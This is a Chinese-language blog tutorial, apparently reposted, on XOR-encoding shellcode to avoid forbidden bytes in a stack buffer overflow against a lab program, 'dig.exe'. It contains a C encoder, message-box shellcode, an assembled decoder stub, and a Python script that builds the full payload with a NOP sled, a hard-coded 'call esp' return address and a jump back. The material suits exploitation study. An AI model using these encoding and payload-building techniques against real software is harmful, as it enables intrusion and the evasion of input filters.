shellcode 編碼技術


在很多漏洞利用場景中, shellcode 的內容將會受到限制。
例如你不能輸入 \x00 這個字符,編輯框不能輸入 \x0d \x0a這樣的字符
所以需要完成 shellcode 的邏輯,然后使用編碼技術對 shellcode 進行編碼,使其內容達到限
制的要求,最后再精心構造十幾個字節的解碼程序,放在 shellcode 開始執行的地方。

當 exploit 成功時, shellcode 頂端的解碼程序首先運行,它會在內存中將真正的 shellcode
還原成原來的樣子,然后執行。這種對 shellcode 編碼的方法和軟件加殼的原理非常類似。
這樣,我們只需要專注於幾條解碼指令,使其符合限制條件就行,相對於直接關注於整段shellcode 來說使問題簡化了很多。

  • 由上一篇文章提取出來的機器碼,進行最簡單的加密,異或
  • 目標:還是我第一篇文章中共享的dig.exe含漏洞的程序

功能為彈出對話框,然后退出程序

#include<stdlib.h>
#include<string.h>

void encoder(char* input, unsigned char key)
{
	int i = 0, len = 0;    
	FILE * fp;
    len = strlen(input);
	unsigned char * output = (unsigned char *)malloc(len + 1);    	
	for (i = 0; i<len; i++)
		output[i] = input[i] ^ key;  
	fp = fopen("encode.txt", "w+");    	
	fprintf(fp, "\"");
	for (i = 0; i<len; i++)
	{
		fprintf(fp, "\\x%0.2x", output[i]);
		if ((i + 1) % 16 == 0)
			fprintf(fp, "\"\n\"");
	}
	fprintf(fp, "\"");
	fclose(fp);
	printf("dump the encoded shellcode to encode.txt OK!\n");
	free(output);
}


int _tmain(int argc, _TCHAR* argv[])
{
	char sc[] = 
		"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
		"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
		"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
		"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
		"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
		"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
		"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
		"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
		"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
		"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
		"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90";
	encoder(sc, 0x51);
	getchar();
	return 0;
}

注意: 在進行異或操作時,key不能與原機器碼中的數值一樣,否則運算結束后會有0,而 0 是字符串的結尾,不能做為輸入字符
在加密結束后,要檢查輸出的加密shellcode中是否有 0d(\r) 0a(\n)這樣的字符這樣的字符同樣不能輸入
我試了大約20次不同的key才找到一個0x51可以使用,有時間我再把他改成自動挑選shellcode的代碼吧...

  • 在放置shellcode的時候,我翻了一次車

shellcode在棧中的布局

在上次實驗中,shllcode比較小沒問題
可是這次shellcode比較大,大到了已經可以覆蓋上一個函數棧幀的的eip了
如果在按照左圖的布局方式,會出現一些我目前還無法解釋錯誤
經過多次翻車后,我開始按照右圖的布局方式來做
為了減小shllcode的體積,增加shellcode的靈活性,建議以后也按照右圖的方式布局
(如果文中有錯誤的地方,請批評指正,謝謝!)

先在棧中寫 一大片 nop 這樣eip之后的jmp就可以不用控制的很精確也可以跳到shellcode
只要 jmp 擊中了 nop 就好了

#shellcode 脫殼程序
shellcode  = "\x89\xe0"			      #mov eax,esp
shellcode += "\x05\xec\xfe\xff\xff"	  
shellcode += "\x83\xC0\x1b"		      #ADD EAX,1b  使eax指向加密數據
shellcode += "\x33\xC9"		          #XOR ECX,ECX
shellcode += "\x8A\x1C\x08"		      #MOV BL,BYTE PTR DS:[EAX+ECX]
shellcode += "\x80\xF3\x51"	          #XOR BL,51
shellcode += "\x88\x1C\x08"		      #MOV BYTE PTR DS:[EAX+ECX],BL
shellcode += "\x41"			          #INC ECX
shellcode += "\x80\xFB\x90"		      #CMP BL,90H
shellcode += "\x75\xF1"			      #JNE
#加了殼的真實shellcode
shellcode += "\xad\x39\x3b\x5b\x69\x4f\x39\x32\xd8\x80\x1e\x39\x63\x25\xc0\x5d"
shellcode += "\xda\xa5\xdc\x2f\xa5\x62\x8a\xe6\x55\x7a\xb2\x37\xea\x62\x63\x02"
shellcode += "\x39\x24\x22\x34\x23\x05\x62\x83\x35\xda\x0b\x61\xda\x1a\x5d\xda"
shellcode += "\x18\x4d\xda\x58\xda\x38\x59\xfc\x6c\x3b\x5b\x69\x4f\x24\x54\xc4"
shellcode += "\xae\x06\xa9\xc4\x31\xda\x14\x6d\xda\x1d\x54\x29\x52\x9c\xda\x08"
shellcode += "\x71\x52\x8c\x62\xae\x16\xda\x65\xea\x52\xa4\xc8\x5e\xef\x57\x6b"
shellcode += "\x95\x25\x59\x90\x9b\x56\x52\x81\x17\xba\xa0\x6a\x05\x75\x4d\x24"
shellcode += "\xb5\xda\x08\x75\x52\x8c\x37\xda\x6d\x2a\xda\x08\x4d\x52\x8c\x52"
shellcode += "\x7d\xea\xc4\x0e\xfa\x06\x30\x6c\x3b\x5b\x69\x4f\x24\xf8\x62\x8a"
shellcode += "\x02\x39\x26\x34\x22\x25\x39\x37\x30\x38\x3d\xda\x95\x02\x01\x01"
shellcode += "\x02\xae\x06\xad\x02\xae\x06\xa9\xc1"

shellcode += '\x90'*0x50

eip = '\x73\x15\xbf\x7d'    #shell32.dll <call esp>	0x7dbf1573

junk = '\x90' * (997-len(shellcode))

jmp  = "\xe9\xdf\xfe\xff\xff"			

#payload
payload = junk +  shellcode + eip + jmp

#將payload寫入到文件payload.txt
fp = open("payload.txt","w")
fp.write(payload)
fp.close()
print "[+]payload"
  • mov eax,esp 后,eax為eip的下一個位置(jmp)這個地方
  • 在上段代碼中 hex(len(shellcode)) 可以得到shellcode的長度
  • 然后 sub eax 這個長度就可以讓eax 指向shellcode的開關

    sub eax,0x114 的機器碼為 2D 14010000,我們的字符串中不能存在 \0 字符
    所以不能用減法了,改為加法
    add 0x114的補碼就沒有 \0 字符了
    esp 當前位置並不是在shellcode尾部,所以eax應該加0x11c的補碼

  • 然后eax加上解密的shllcode的長度,指向加密的shllcode的數據
  • 我的shellcode解密出來最后一位是 \x90,遇到 \x90就向下運行

如果解完密的shellcode與自己寫的shllcode不一樣,那就換一個key重新加密一次,數據可能在復制過程中發生了改變

小建議:生成的字符串用winHex打開,可以獲得最大的准確性

成功


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM